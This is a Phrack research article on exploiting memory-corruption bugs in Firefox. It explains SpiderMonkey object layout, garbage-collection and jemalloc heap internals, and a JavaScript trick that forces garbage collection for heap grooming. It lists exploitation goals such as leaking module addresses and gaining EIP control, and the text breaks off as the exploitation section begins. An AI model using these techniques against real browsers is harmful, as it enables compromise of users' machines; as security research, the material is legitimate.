==Phrack Inc.== Volume 0x0f, Issue 0x45, Phile #0x0e of 0x10 |=-----------------------------------------------------------------------=| |=----------------=[ OR'LYEH? The Shadow over Firefox ]=-----------------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ argp ]=---------------------------------=| |=-----------------------=[ argp@grhack.net ]=---------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - Firefox and SpiderMonkey internals 2.1 - Representation in memory 2.2 - Generational garbage collection (GGC) 2.3 - jemalloc (and GGC) 3 - Firefox's hardening features 3.1 - PresArena 3.2 - jemalloc heap sanitization 3.3 - Garbage collection 3.4 - Sandbox 4 - The shadow (over Firefox) utility 5 - Exploitation 5.1 - ArrayObjects inside ArrayObjects 5.2 - jemalloc feng shui 5.3 - xul.dll base leak and our location in memory 5.4 - EIP control 5.5 - Arbitrary memory leak 5.6 - Use-after-free bugs 6 - Conclusion 7 - References 8 - Source code --[ 1 - Introduction In this paper I will elaborate and expand on my Infiltrate 2015 talk of the same title [INF]. Even a full hour-long conference talk is hardly enough to present all the necessary background details or the full technical depth of an exploitation subject. Therefore, I was quite happy when the Phrack Staff approached me for writing a paper based on my conference talk. My goal for this paper is to define a reusable exploitation methodology against the latest versions of the Mozilla Firefox browser in the context of the modern protections provided by most operating systems. The term 'exploitation' here refers to leveraging memory corruption vulnerabilities (of different types, i.e, buffer overflows, use-after- frees, type confusions). By 'reusable methodology' I mean an attack pattern that can be applied towards the exploitation of most vulnerabilities and vulnerability classes. Although the material in this paper are from the Windows version of Firefox, to the best of my knowledge the included techniques can be used on all platforms supported by Firefox. Specifically, for all techniques and included code excerpts I have used the latest version of Firefox (41.0.1 at the time of writing) on Windows 8.1 x86-64. Please note that Firefox stable on Windows (even on a x86-64 system) is x86. --[ 2 - Firefox and SpiderMonkey internals I will start by explaining some Firefox and SpiderMonkey internals that are required for the exploitation methodology. SpiderMonkey (Firefox's JavaScript engine) uses C++ variables of type JS::Value (or simply jsval) to represent strings, numbers (both integers and doubles), objects ( including arrays and functions), booleans, and the special values null and undefined [JSV]. When in JavaScript (JS) a string for example is assigned to a variable or an object's attribute, the runtime must be able to query its type. Therefore, jsvals must follow a representation that encodes both values and types. SpiderMonkey uses the 64-bit IEEE-754 encoding [IFP] for this purpose. Specifically, jsval doubles use the full 64 bits for their value. All other jsvals (integers, strings, etc) are encoded with 32 bits for a tag specifying their type and 32 bits for their value. In Firefox's source code we can find the constants for the jsval types at js/public/Value.h: #define JSVAL_TYPE_DOUBLE ((uint8_t)0x00) #define JSVAL_TYPE_INT32 ((uint8_t)0x01) #define JSVAL_TYPE_UNDEFINED ((uint8_t)0x02) #define JSVAL_TYPE_BOOLEAN ((uint8_t)0x03) #define JSVAL_TYPE_MAGIC ((uint8_t)0x04) #define JSVAL_TYPE_STRING ((uint8_t)0x05) #define JSVAL_TYPE_SYMBOL ((uint8_t)0x06) #define JSVAL_TYPE_NULL ((uint8_t)0x07) #define JSVAL_TYPE_OBJECT ((uint8_t)0x08) These constants are then used to get the 32-bit jsval tags for the different types: #define JSVAL_TAG_CLEAR ((uint32_t)(0xFFFFFF80)) #define JSVAL_TAG_INT32 ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32)) #define JSVAL_TAG_UNDEFINED ((uint32_t)(JSVAL_TAG_CLEAR | \ JSVAL_TYPE_UNDEFINED)) #define JSVAL_TAG_STRING ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING)) #define JSVAL_TAG_SYMBOL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_SYMBOL)) #define JSVAL_TAG_BOOLEAN ((uint32_t)(JSVAL_TAG_CLEAR | \ JSVAL_TYPE_BOOLEAN)) #define JSVAL_TAG_MAGIC ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC)) #define JSVAL_TAG_NULL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL)) #define JSVAL_TAG_OBJECT ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT)) When the SpiderMonkey runtime queries a jsval for its type, if its 32-bit tag value is greater than 0xFFFFFF80 (the JSVAL_TAG_CLEAR define from above) then the 64 bits are interpreted as a jsval of the corresponding type. If the tag value is less or equal to 0xFFFFFF80 then the 64 bits are interpreted as an IEEE-754 double. An important note at this point that I will refer to later on is that there is no IEEE-754 64-bit double that corresponds to a 32-bit encoded value greater than 0xFFF00000. Apart from jsvals, SpiderMonkey also uses complex objects of type JSObject [JSO] to represent various JavaScript objects (jsobjects). In essence these are mappings from names (object properties) to values. To avoid expensive dictionary lookups from these properties to their corresponding values (which are stored in an array of the jsobject) SpiderMonkey uses what is called a shape. Shapes are structural descriptions that point directly from property names to the array indexes that hold their values. The JSObject class uses the NativeObject class for its internal implementation (to be precise the NativeObject class inherits from the JSObject class). These complex objects also contain an inline dynamically- sized (but up to a limit) array that is used to store named properties, and elements of JavaScript arrays and typed arrays. The first (named properties) are indexed by the slots_ pointer, and the latter (array elements) by the elements_ pointer. The actual storage can be either the inline jsobject storage or a dynamically allocated region on the heap. Moreover, jsobject arrays have a header; this header is described by the ObjectElements class. The definition of the JSObject class can be found at js/src/jsobj.h, and those of NativeObject and ObjectElements at js/src/vm/NativeObject.h. Below I will discuss all of them together (think of it as pseudocode) and only their relevant to the paper fields: class NativeObject : public JSObject { /* * From JSObject; structural description to avoid dictionary * lookups from property names to slots_ array indexes. */ js::HeapPtrShape shape_; /* * From JSObject; the jsobject's type (unrelated to the jsval * type I described above). */ js::HeapPtrTypeObject type_; /* * From NativeObject; pointer to the jsobject's properties' * storage. */ js::HeapSlot *slots_; /* * From NativeObject; pointer to the jsobject's elements' storage. * This is used by JavaScript arrays and typed arrays. The * elements of JavaScript arrays are jsvals as I described them * above. */ js::HeapSlot *elements_; /* * From ObjectElements; how are data written to elements_ and * other metadata. */ uint32_t flags; /* * From ObjectElements; number of initialized elements, less or * equal to the capacity (see below) for non-array jsobjects, and * less or equal to the length (see below) for array jsobjects. */ uint32_t initializedLength; /* * From ObjectElements; number of allocated slots (for object * properties). */ uint32_t capacity; /* * From ObjectElements; the length of array jsobjects. */ uint32_t length; }; In the following sections of this paper I am going to refer back to this as 'jsobject' (or the 'jsobject class'), which although isn't technically correct (as I have explained above) will make the discussion simpler. ----[ 2.1 - Representation in memory In order to get a better insight, let's look at the representation of jsvals and jsobjects in memory. We have the following JavaScript code: var arr = new Array(); // an array jsobject (ArrayObject) arr[0] = 0x40414140; // [A] an integer arr[1] = "Hello, Firefox!"; // [B] a string arr[2] = 0x42434342; arr[3] = true; // [C] a boolean arr[4] = 0x44454544; arr[5] = new Array(666); // [D] an object // add some elements to the array arr[5][0] = 666; arr[5][1] = "sixsixsix"; arr[5][2] = 0.666; arr[5][3] = false; arr[5][4] = new Array(666); arr[6] = 0x46474746; arr[7] = null; arr[8] = 0x48494948; // [E] a typed array jsobject holding unsigned 32-bit integers arr[9] = new Uint32Array(128); // let's fill the typed array with some content // total size: 128 * 4 == 512 for(var j = 0; j < 128; j += 2) { arr[9][j] = 0x61636361; arr[9][j + 1] = 0x71737371; } arr[10] = 0x50515150; arr[11] = 1.41424344; // [F] a double arr[12] = 0x52535352; // [G] and a bigger string arr[13] = "Hello, Firefox, and hello again"; In WinDbg we search for our first integer marker value, that is 40414140, and then we inspect the elements of the array we have defined: 0:000> s -d 0 0x0 l?0xffffffff 40414140 09e10980 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5..... 09e10a00 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5..... The reason of finding our marker value twice will become clear below. Now let's do a memory dump from a few dwords before the found value; I am going to annotate the dump from WinDbg to make the discussion easier to follow: 0:000> dd 09e10980-20 l?48 [ Our arr ArrayObject ] shape_ type_ slots elements 09e10960 0eed89a0 0f3709b8 00000000 09e10a00 [ Metadata of the old elements, the default length of ArrayObjects is 6 ] flags initlen capacity length 09e10970 00000000 00000006 00000006 00000006 [ Old elements' address ] 09e10980 40414140 ffffff81 0f352880 ffffff85 09e10990 42434342 ffffff81 00000001 ffffff83 09e109a0 44454544 ffffff81 09e109b0 ffffff88 09e109b0 0eed89a0 0f3709e8 00000000 0c94e010 09e109c0 00000000 00000000 00000000 0000029a 09e109d0 0eed89a0 0f370a30 00000000 0d177010 09e109e0 00000000 00000000 00000000 0000029a [ Metadata of relocated elements, the length of our new ArrayObject is 0xe, or 14 in decimal ] flags initlen capacity length 09e109f0 00000000 0000000e 0000000e 0000000e [ New elements' address ] int32 jsval [A] string jsval [B] 09e10a00 40414140 ffffff81 0f352880 ffffff85 bool jsval [C] 09e10a10 42434342 ffffff81 00000001 ffffff83 object jsval (ArrayObject) [D] 09e10a20 44454544 ffffff81 09e109b0 ffffff88 09e10a30 46474746 ffffff81 00000000 ffffff87 object jsval (typed array) [E] 09e10a40 48494948 ffffff81 12634520 ffffff88 double jsval [F] 09e10a50 50515150 ffffff81 bab61ee0 3ff6a0bd string jsval [G] 09e10a60 52535352 ffffff81 0eef9730 ffffff85 At the start of the memory dump (at 09e10960) we can see the metadata of our arr ArrayObject; the shape_, type_, slots and elements pointers. The slots pointer is NULL since our jsobject has no named properties. The elements pointer points to the jsval contents of the array at 09e10a00. These are actually the relocated contents of the array. At address 09e10970 we can see the original metadata of the elements (the default length of an array when not specified is always 6), and at 09e10980 the original contents. The elements (along with their metadata) were relocated while we were adding contents to the arr array. The elements pointer after the relocation points to 09e10a00 where the jsval contents begin. Four dwords before that, at 09e109f0, we have their metadata; flags, initializedLength (or initlen), capacity, and length. As expected, initlen, capacity, and length are all 0xe. At 09e10a00 there is our integer marker value 40414140 and at 09e10a04 its 32-bit tag of ffffff81 denoting as an integer jsval [A]. At 09e10a08 we can see the string jsval for [B]. Based on a) whether the underlying platform is x86 or x86-64, b) the length of the jsval string, and c) whether it is plain ASCII or unicode, the content bytes of the string are either inline or not. On x86 the maximum length for an inline ASCII string is 7 and 3 for unicode; on x86-64 it is 15 for ASCII and 7 for unicode. Our [B] string has length 15 (0xf) therefore it is inlined. Let's see the contents of the address that the [B] string jsval points to: 0:000> dd 0f352880 flags length string's contents 0f352880 0000005d 0000000f 6c6c6548 46202c6f 0f352890 66657269 0021786f 00737365 00000004 0:000> db 0f352880 0f352880 5d 00 00 00 0f 00 00 00-48 65 6c 6c 6f 2c 20 46 ]..Hello, F 0f352890 69 72 65 66 6f 78 21 00-65 73 73 00 04 00 00 00 irefox!.ess At 0f352880 it's the start of the metadata of our inline [B] string; the flags (0x5d), the length (0xf == 15 in decimal) and then at 0f352888 the ASCII contents of [B]. In contrast, the string jsval at 09e10a68 [G] is not inline. Again, the tag value of [G] is ffffff85 denoting as a string, and it's value points to 0eef9730: 0:000> dd 0eef9730 flags length pointer to string's contents 0eef9730 00000049 0000001f 0bcba840 00000000 0:000> dd 0bcba840 0bcba840 6c6c6548 46202c6f 66657269 202c786f 0bcba850 20646e61 6c6c6568 6761206f 006e6961 0:000> db 0bcba840 0bcba840 \ 48 65 6c 6c 6f 2c 20 46-69 72 65 66 6f 78 2c 20 Hello, Firefox, 0bcba850 \ 61 6e 64 20 68 65 6c 6c-6f 20 61 67 61 69 6e 00 and hello again. At 0eef9730 we have the flags (0x49), length (0x1f == 31 in decimal), and at 0eef9738 a pointer to the actual bytes contents of the string (at 0bcba840). Actually SpiderMonkey strings are a lot more interesting and useful, so I refer the interested reader to js/src/vm/String.h. However, for the purposes of this paper the above details are adequate. At 09e10a28 there is the [D] ArrayObject we have instantiated with a capacity of 666 (or 0x29a in hex); its tag is ffffff88 denoting it as an object, and its value is the address 09e109b0, where we can see the ArrayObject metadata as we have talked about them before: 0:000> dd 09e109b0 shape_ type_ slots elements 09e109b0 0eed89a0 0f3709e8 00000000 0c94e010 flags initlen capacity length 09e109c0 00000000 00000000 00000000 0000029a 0:000> dd 0c94e010-10 flags initlen capacity length 0c94e000 00000000 00000005 0000029a 0000029a arr[5][0] = 666; arr[5][1] = "sixsixsix"; 0c94e010 0000029a ffffff81 0eed78a0 ffffff85 0c94e020 3b645a1d 3fe54fdf 00000000 ffffff83 0c94e030 09e109d0 ffffff88 5a5a5a5a 5a5a5a5a The elements pointer of the [D] ArrayObject points to 0c94e010 where we can see the first element of this array, i.e. arr[5][0], namely the integer jsval 0x29a (or 666 in decimal). At 0c94e000 there are the metadata associated with these elements. Here we can clearly see the difference between the initializedLength, the capacity, and the length of an ArrayObject. The initializedLength and the capacity from the metadata at 09e109b0 are both zero, while it's length is 0x29a; this is the case since at [D] we simply declared an ArrayObject with a length of 0x29a without actually adding any elements to it. Then we added five elements (arr[5][0] to arr[5][4]), and the new initializedLength became 5, while the capacity became equal to length, i.e. 0x29a (all these from the metadata at 0c94e000). Before we move on, let's also look at SpiderMonkey typed arrays since we will use them in our attack methodology later on. Typed arrays are a very useful JavaScript feature since they allow us to situate on the heap arbitrary sized constructs of controlled content (to arbitrary byte granularity). Previous Firefox attacks, like [P2O] and [REN], relied on the fact that SpiderMonkey used to situate the actual content (data) and the corresponding metadata of typed arrays contiguously in memory. Unfortunately this is no longer the case; the GC tenured heap and the jemalloc heap (both of which I will explain shortly) keep these separated, even when we try to force such a layout. However, typed arrays remain very useful. At [E] we instantiate a Uint32Array object, i.e. a typed array jsobject holding unsigned 32-bit integers, with an initial length of 128, whose object-type jsval we can find at address 09e10a48; its value is the address 12634520. There we see the Uint32Array object, starting with its metadata (for example, at 12634538 its length of 0x80, or 128 in decimal), and at 12634548 the pointer to the actual buffer contents of the typed array (0dd73600). 0:000> dd 12634520 12634520 0af6c5c8 0f370e80 00000000 7475a930 12634530 126344f0 ffffff88 00000080 ffffff81 12634540 00000000 ffffff81 0dd73600 ffffff81 12634550 00000000 00000000 00000000 00000000 0:000> dd 0dd73600 0dd73600 61636361 71737371 61636361 71737371 0dd73610 61636361 71737371 61636361 71737371 0dd73620 61636361 71737371 61636361 71737371 0dd73630 61636361 71737371 61636361 71737371 0dd73640 61636361 71737371 61636361 71737371 0dd73650 61636361 71737371 61636361 71737371 0dd73660 61636361 71737371 61636361 71737371 0dd73670 61636361 71737371 61636361 71737371 As expected, the contents of the typed array at 0dd73600 are precisely what we assigned in our code. The buffer that holds these contents is allocated on the heap and its size is four times the number of uint32 elements we assigned to the typed array (since each element is four bytes long). So, for our [E] typed array, its contents buffer at 0dd73600 is 512 bytes long (4 * 128 == 512). ----[ 2.2 - Generational garbage collection (GGC) Since release 32.0 [F32] Firefox has a new garbage collection (GC) implementation enabled by default (on all its supported operating systems) called 'generational garbage collection' (GGC). In GGC there are two separate heaps; a) the nursery on which most SpiderMonkey objects are allocated, and b) the tenured or major heap which is more or less the old (before release 32.0) normal SpiderMonkey GC heap. When the nursery becomes full (or some other event happens) we have the so-called minor GC pass. During this, all the temporary short-lived JavaScript objects on the nursery are collected and the memory they were occupying becomes again available to the nursery. On the other hand, the JavaScript objects on the nursery that are reachable in the heap graph (i.e. alive) are moved to the tenured heap (which also makes the memory they were occupying available to the nursery). Once an object is moved to the tenured heap, during a minor GC pass, it is checked for outgoing pointers to other objects on the nursery heap. Such objects are moved from the nursery to the tenured heap as well, since they are actually reachable. This iterative process continues until all reachable objects are moved from the nursery to the tenured heap, and the memory they were occupying is set to available for the nursery. This generational (also called 'moving') garbage collection approach has resulted in impressive performance gains for SpiderMonkey since most JavaScript allocations are indeed short-lived. To make it clear how all the above fit in the context of the Firefox browser, I should talk about JSRuntime [JSR]. An instantiated JSRuntime object (see js/src/vm/Runtime.cpp for the class) holds all JavaScript variables, objects, scripts, etc. SpiderMonkey as compiled for Firefox is single-threaded by default, therefore Firefox usually has just one JSRuntime. However, (web) workers can be launched/created and each one of them has its own JSRuntime. Each different JSRuntime has one separate GGC heap (nursery and tenured), and they don't share heap memory. Furthermore they are isolated from each other; one JSRuntime cannot access objects allocated by a different JSRuntime. The nursery has a hardcoded size of 16 megabytes allocated with VirtualAlloc() (or with mmap() on Linux). It operates as a standard bump allocator; a pointer is maintained that points to the first unallocated byte in the nursery memory area. To make an allocation of X bytes, first there is a check if there are X bytes available in the nursery. If there are, X is added to the pointer (the "bump") and its previous value is returned to service the allocation request. If there aren't X bytes available, a minor GC is triggered. During this GC pass the new object is moved to the tenured heap, and if its slots or elements (see section 2.1) are above a certain number they are moved to the jemalloc-managed heap. The tenured heap (you may also see it referred to as 'major' or simply 'GC' heap in Firefox's code base) has its own metadata and algorithms to manage memory. These are distinct from both the nursery and the jemalloc heaps. Apart from being the heap for JavaScript objects that survived a nursery GC pass, some allocations go directly on it bypassing the nursery. Examples of such cases are known long-lived objects (e.g. global objects), function objects (due to JIT requirements), and objects with finalizers (i.e. most DOM objects). I will not go into more details for the tenured heap since they are not relevant to the exploitation methodology. ----[ 2.3 - jemalloc (and GGC) In this section I will only discuss the necessary jemalloc knowledge you require in order to follow the analysis in section 5. For a more detailed treatise I refer you to another Phrack paper which is still applicable to the current state of jemalloc [PSJ]. jemalloc is a bitmap allocator designed for performance and not primarily memory utilization. One of its major design goals is to situate allocations contiguously in memory. The latest version of jemalloc is 4.0.0 at this time, but Firefox includes a version forked from major release 2. Firefox's fork is called mozjemalloc in the source tree, but it doesn't include any significant changes from jemalloc 2. It is used in Firefox for allocations that become too big (based on some limits I will discuss shortly) for the tenured heap. However, there are some exceptions; certain allocations triggerable from JavaScript can bypass both the nursery and the tenured heap and go directly to the jemalloc-managed heap. I will not discuss this further, so you can consider it an exercise ;) In jemalloc memory is divided into regions which are categorized according to their size. Specifically, the size categories, called 'bins', in Firefox are 2, 4, 8, 16, 32, 48, ..., 512, 1024, up to inclusive 2048. malloc() requests larger than 2048 bytes are handled differently and are not in scope for this paper. Each bin (or size category) is associated with several 'runs'; these are the actual containers for the regions. A run can span one or more virtual memory pages which are divided into regions of the bin size that the run belongs to. Bins have the metadata for their runs and through them free regions are located. The following diagram is a simplified version of the original one from [PSJ] and summarizes the above notes. .--------------------------------. .--------------------------------. | | | | | Run #0 Run #1 | | Run #0 Run #1 | | .-------------..-------------. | | .-------------..-------------. | | | || | | | | || | | | | Page || Page | | | | Page || Page | | | | .---------. || .---------. | | | | .---------. || .---------. | | | | | | || | | | | | | | | || | | | | ... | | | Regions | || | Regions | | | | | | Regions | || | Regions | | | | | |[] [] [] | || |[] [] [] | | | | | |[] [] [] | || |[] [] [] | | | | | | ^ ^ | || | | | | | | | ^ ^ | || | | | | | | `-|-----|-' || `---------' | | | | `-|-----|-' || `---------' | | | `---|-----|---'`-------------' | | `---|-----|---'`-------------' | `-----|-----|--------------------' `-----|-----|--------------------' | | | | | | | | .---|-----|----------. .---|-----|----------. | | | | | | | | | free regions' list | ... | free regions' list | ... | | | | `--------------------' `--------------------' bin of size category 8 bin of size category 16 Allocation requests (i.e. malloc() calls) are rounded up and assigned to a bin. Then, through the bin's free regions' metadata, a run with a free region is located. If none is found, a new run is allocated and assigned to the specific bin. Therefore, this means that objects of different types but with similar sizes that are rounded up to the same bin are contiguous in the jemalloc heap. Another interesting feature of jemalloc is that it operates in a last-in-first-out (LIFO) manner (see [PSJ] for the free algorithm); a free followed by a garbage collection and a subsequent allocation request for the same size, most likely ends up in the freed region. At this point let's utilize an example to see how the jemalloc heap is used in Firefox along with the GGC heaps, namely nursery and tenured. In the diagram below the nursery heap is nearly full and we have an allocation request for a JSObject with an N number of slots. ........................................................................... +-+ +-++-------+ +-------+ : |T| Temporary |J|| slots | Survivor | | Free : jemalloc | | object | || N | JSObject | | memory : +-----------+ +-+ +-++-------+ + slots +-------+ : | +-------+ | ....................................................... : | | slots | | : | | N | | Before minor GC : | +-------+ | JSObject --------------- : | ^ ^ | allocation : | | | | request +-++-------+ : | | | | Nursery doesn't have |J|| slots | : | | | | free memory for +----------+| || N |+------------------+ | | JSObject + its slots | +-++-------+ : | | | +---------------+ | : | | | | | : | | | v v : | | | +-----------------------+ +-----------------------+ : | | | |+-++-++-++-++-++-++-++-+ |+-++-+ | : | | | ||T||T||T||T||T||T||T||J| ||J||J| | : | | | || || || || || || || || | || || | | : | | | |+-++-++-++-++-++-++-++-+ |+-++-+ | : | | | +-----------------------+ +-----------------------+ : | | | Nursery + Tenured : | | | | : | | | | : | | | +------------+ : | | | | : | | | .....................................|................. : | | | | : | | | First unallocated nursery byte | After minor GC : | | | +-----+ | -------------- : +-------|---+ | | : | v v : | +-----------------------+ +-----------------------+ : | | | |+-++-++-+ | : | | | ||J||J||J|+------------------------------+ | | || || || | | : slots_ pointer | | |+-++-++-+ | : +-----------------------+ +-----------------------+ : Nursery Tenured : ........................................................................... The JSObject itself can fit (or not, doesn't affect the rest of the events) in the free space of the nursery, but its slots cannot. So, the JSObject is placed on the nursery and since it becomes full, a minor GC is triggered. If it couldn't fit in the nursery a minor GC would also be triggered. During this GC and assuming that the JSObject is a survivor object, i.e. not a temporary one, it is moved from the nursery to the tenured heap (or placed directly there if it couldn't fit in the nursery in the first place). If the number of its slots N is greater than a certain number (more on this later), they are not placed on the tenured heap with the object itself. Instead, a new allocation for the size of the N slots is made on the jemalloc heap, and the slots are placed there. Then the slots_ pointer of the jsobject stores the address of the jemalloc heap region that contains the slots. --[ 3 - Firefox's hardening features Firefox has some security hardening features that are useful to know if you are doing or plan to do any exploit development for it. I will try to list them all here to give you the references to start digging from, but I will only expand on those that affect our goal for this paper. ----[ 3.1 - PresArena PresArena is Gecko's specialized heap for CSS box objects (Gecko is Firefox's layout engine). When a CSS box object is freed, the free PresArena heap 'slot' is added to a free list based on its type. This means that PresArena maintains separate free heap 'slot' lists for each different CSS box object type. An allocation request is serviced from the free list of the type of objects it is trying to allocate. This basically means that for CSS box objects PresArena implements type-safe memory reuse, mostly killing use-after-free exploitation. I say 'mostly' because in some cases a use-after-free bug can still be exploitable via same-object-type trickery, like playing with attributes' values for example. PresArena also services types of objects that related to CSS box objects but are not. The free lists of these objects are per size and not per type. This of course means that use-after-free bugs for these object types are exploitable as usual. The code for PresArena is at layout/base/nsPresArena.{h, cpp}. ----[ 3.2 - jemalloc heap sanitization Since jemalloc rounds up allocation requests to the closest size category (bin), it is possible that a small object may be assigned to the same region that a bigger object was occupying before being freed (both objects smaller or equal to the size category of course). Therefore, in such a case we could use the small object to read back memory left by the bigger object. This could reveal DLL pointers and could help in bypassing ASLR. To avoid this jemalloc sanitizes regions after they are freed. Current Firefox versions use the value e5e5e5e5 to sanitize; older versions used a5a5a5a5. This hardening feature also makes some uninitialized memory bugs unexploitable. In any case, if you're fuzzing Firefox these are nice values to look for in crash logs. ----[ 3.3 - Garbage collection Being able to trigger a garbage collection on demand is fundamental when trying to create specific object layouts on the heap. Firefox provides no unprivileged JavaScript API to do this. Although not having an on-demand GC API call is not listed as a hardening feature, it is clear that Firefox developers actively try to remove direct execution paths from unprivileged JavaScript functions to GC. A GC can be triggered for a variety of reasons; Firefox has these divided into two major categories, those related to the JavaScript engine and those that aren't. The second category includes reasons related to the layout engine (for example frame refreshing), as well as ones more general to the browser (for example when the main process exits). You can find the names of all the reasons at js/public/GCAPI.h. These are the start for finding ways to trigger a GC on demand from unprivileged JavaScript code. A simple one to get you started is TOO_MUCH_MALLOC. If you search for this in Firefox's code and backtrace it with your favorite code reading tool, you will conclude to the following execution path: dom::CanvasRenderingContext2D::EnsureTarget() + | +--> JS_updateMallocCounter() + | +--> GCRuntime::updateMallocCounter() + | +--> GCRuntime::onTooMuchMalloc() + | +--> triggerGC(JS::gcreason::TOO_MUCH_MALLOC) After reading dom::CanvasRenderingContext2D::EnsureTarget(), which is in the file dom/canvas/CanvasRenderingContext2D.cpp, we can easily figure out how to reach it: var my_canvas = document.createElement("canvas"); my_canvas.id = "my_canvas"; my_canvas.width = "100"; my_canvas.height = "115"; document.body.appendChild(my_canvas); for(var i = 0; i < 10; i++) { var my_context = my_canvas.getContext("2d"); my_canvas.width = 36666; my_context.fillRect(21, 11, 66, 60); } You can find many others; some more reliable, some less, just read the code. Another simple one is to repeatedly create strings and append them to a DOM node; see the archive for this example. Just keep in mind that you may have to tweak some parameters, like the number of repetitions, the size of strings, etc, in order to get it to work on as many as possible different systems with different characteristics (available RAM, Firefox versions). ----[ 3.4 - Sandbox I will only be discussing Firefox's sandbox on Windows; the Linux and OS X implementations are based on different technologies, seccomp and Seatbelt, but aim to achieve similar goals. All the code is available at security/sandbox/{win, linux, mac}. On Windows, Firefox is using the code of the Chromium sandbox. In short, there is a parent process (broker) that is responsible for starting sandboxed children processes (targets). The communication between the two is implemented via a Firefox-specific C++ IPC called IPDL (Inter-process communication Protocol Definition Language). There are three different sandbox policies for children processes implemented, a) for layout content, b) for media playback, and c) for other plugins. These are implemented by the following functions, a) SetSecurityLevelForContentProcess(), b) SetSecurityLevelForGMPlugin(), and c) SetSecurityLevelForPluginProcess() respectively. You can find their implementations at security/sandbox/win/src/sandboxbroker/sandboxBroker.cpp. Flash in Firefox is an out-of-process plugin. This means that Firefox launches an executable called plugin-container.exe which then loads the Flash plugin, sandboxed by Flash's own "protected mode". On Windows this means that it is a low integrity process, has restricted access token capabilities, is not allowed to launch new processes, etc. Firefox plans to stop enabling Flash's protected mode and place Flash under the above Chromium-based sandbox as well, but this is not the case currently (41.0.1). --[ 4 - The shadow (over Firefox) utility I initially re-designed unmask_jemalloc [UNJ] (a GDB/Python tool we have written with huku) with a modular design to support all three main debuggers and platforms (WinDBG, GDB and LLDB). I renamed the tool to shadow when I added Firefox/Windows/WinDBG-only features. The following is an overview of the new design (read the arrows as "imports"). The goal is to have all debugger-dependent code in the *_driver and *_engine modules. --------------------------------------------------------------------------- debugger-required frontend (glue) +------------+ +-------------+ +-------------+ | gdb_driver | | lldb_driver | | pykd_driver | +------------+ +-------------+ +-------------+ ^ ^ ^ | | | ----------+-------------------+-------------------+------------------------ | | | | +--------+ | +-----------------------+ | +-----+ core logic | | | (debugger-agnostic) | | | | | | +-----------------+ +------+ | | | |---------------> | shadow |<-----+ | util | +------> | | | | | | +-----------------+ | +------+ | ^ ^ ^ ^ | | | | | | | | | | +--------+ | | | +-----+----------+ | +----+--------+---| symbol | | | | | | | | | +--------+ +-+ | | | +----------+ | | | +---------+ | | | | | jemalloc | | +--------+---| nursery | | | | | +----------+ | | +---------+ | | | | ^ ^ ^ | | | | | | | | | | | | | | | | | +------+--------+ | | | | | | | | | | | | +---+---+----+----------+--------+-----+ | | | | | | | | | | | +-----+---+----+----+ | | | | | | | | | | | | | ------+---------+---+----+----+-----+--------+-----+----+------------------ | | | | | | | | | | | | | | | | | | debugger | | | | | | | | | dependent APIs | | | | | | | | | | | | | | | | | | | | | | v | | v | | +------------+ | +-------------+ | +-------------+ +->| gdb_engine | +--| lldb_engine | +--| pykd_engine | +------------+ +-------------+ +-------------+ ^ ^ ^ | | | +---+ +---------+ +---------------+ | | | | | | -----------+-------------+-------------+----------------------------------- | | | | | | debugger-provided backend | | | | | | +-----+ +------+ +------+ | gdb | | lldb | | pykd | +-----+ +------+ +------+ --------------------------------------------------------------------------- shadow can help you during Firefox exploit development when you're trying to understand the impact of your JavaScript code on the heap. The symbol command allows you to search for SpiderMonkey and DOM classes (and structures) of specific sizes. This is useful when you're trying to exploit use-after-free bugs, or when you want to position interesting victim objects to overwrite/corrupt. All the supported commands are: 0:000> !py c:\\tmp\\shadow\\pykd_driver help [shadow] De Mysteriis Dom Firefox [shadow] v1.0b [shadow] jemalloc-specific commands: [shadow] jechunks : dump info on all available chunks [shadow] jearenas : dump info on jemalloc arenas [shadow] jerun
: dump info on a single run [shadow] jeruns [-cs] : dump info on jemalloc runs [shadow] -c: current runs only [shadow] -s : runs for the given size [shadow] class only [shadow] jebins : dump info on jemalloc bins [shadow] jeregions : dump all current regions of the [shadow] given size class [shadow] jesearch [-cfqs] : search the heap for the given hex [shadow] dword [shadow] -c: current runs only [shadow] -q: quick search (less [shadow] details) [shadow] -s : regions of the given size [shadow] only [shadow] -f: search for filled region [shadow] holes) [shadow] jeinfo
: display all available details for [shadow] an address [shadow] jedump [filename] : dump all available jemalloc info [shadow] to screen (default) or file [shadow] jeparse : parse jemalloc structures from [shadow] memory [shadow] Firefox-specific commands: [shadow] nursery : display info on the SpiderMonkey [shadow] GC nursery [shadow] symbol [-vjdx] : display all Firefox symbols of the [shadow] given size [shadow] -v: only class symbols with [shadow] vtable [shadow] -j: only symbols from [shadow] SpiderMonkey [shadow] -d: only DOM symbols [shadow] -x: only non-SpiderMonkey [shadow] symbols [shadow] pa
[] : modify the ArrayObject's length [shadow] (default new length 0x666) [shadow] Generic commands: [shadow] version : output version number [shadow] help : this help message You can find the latest version of shadow, along with installation instructions, in the code archive that comes with this paper and also on GitHub [SHD]. Just a note; I only had time to test everything on Windows and WinDBG. Linux/GDB support is almost complete (though no support for the symbol command). I haven't done any work for supporting OS X/LLDB yet. All contributions are of course welcome ;) --[ 5 - Exploitation In the introduction I set the goal of this paper to be a generic, reusable exploitation methodology that can be applied to as many as possible Firefox bugs (and bug classes). To be more specific, this high-level goal can be broken down into the following: 1) Leak of xul.dll's base address. This DLL is the main one for Firefox and it contains the code of both SpiderMonkey and Gecko (Firefox's layout engine). This huge DLL contains all the ROP gadgets you may ever want. 2) Leak of the address in Firefox's heap where we have some control due to the bug we are exploiting. This can be very useful since we can use it to create fake objects with valid addresses that point to data we control. 3) The ability to read any number of bytes from any address we choose, i.e. an arbitrary leak. 4) And finally, of course, EIP control (to start a ROP chain, for example). In order to achieve these we will be using standard JavaScript arrays, i.e. ArrayObject jsobjects, as primitives. In the past, researchers have used typed arrays for similar purposes [P2O, REN]. However, as we have seen in section 2.1, the user-controllable content (data) of typed arrays and their metadata (like their length and their data pointer) are no longer contiguous in memory. On the other hand, I have found that ArrayObjects can be forced to place their metadata next to their data on the jemalloc heap and have the following helpful characteristics: 1) 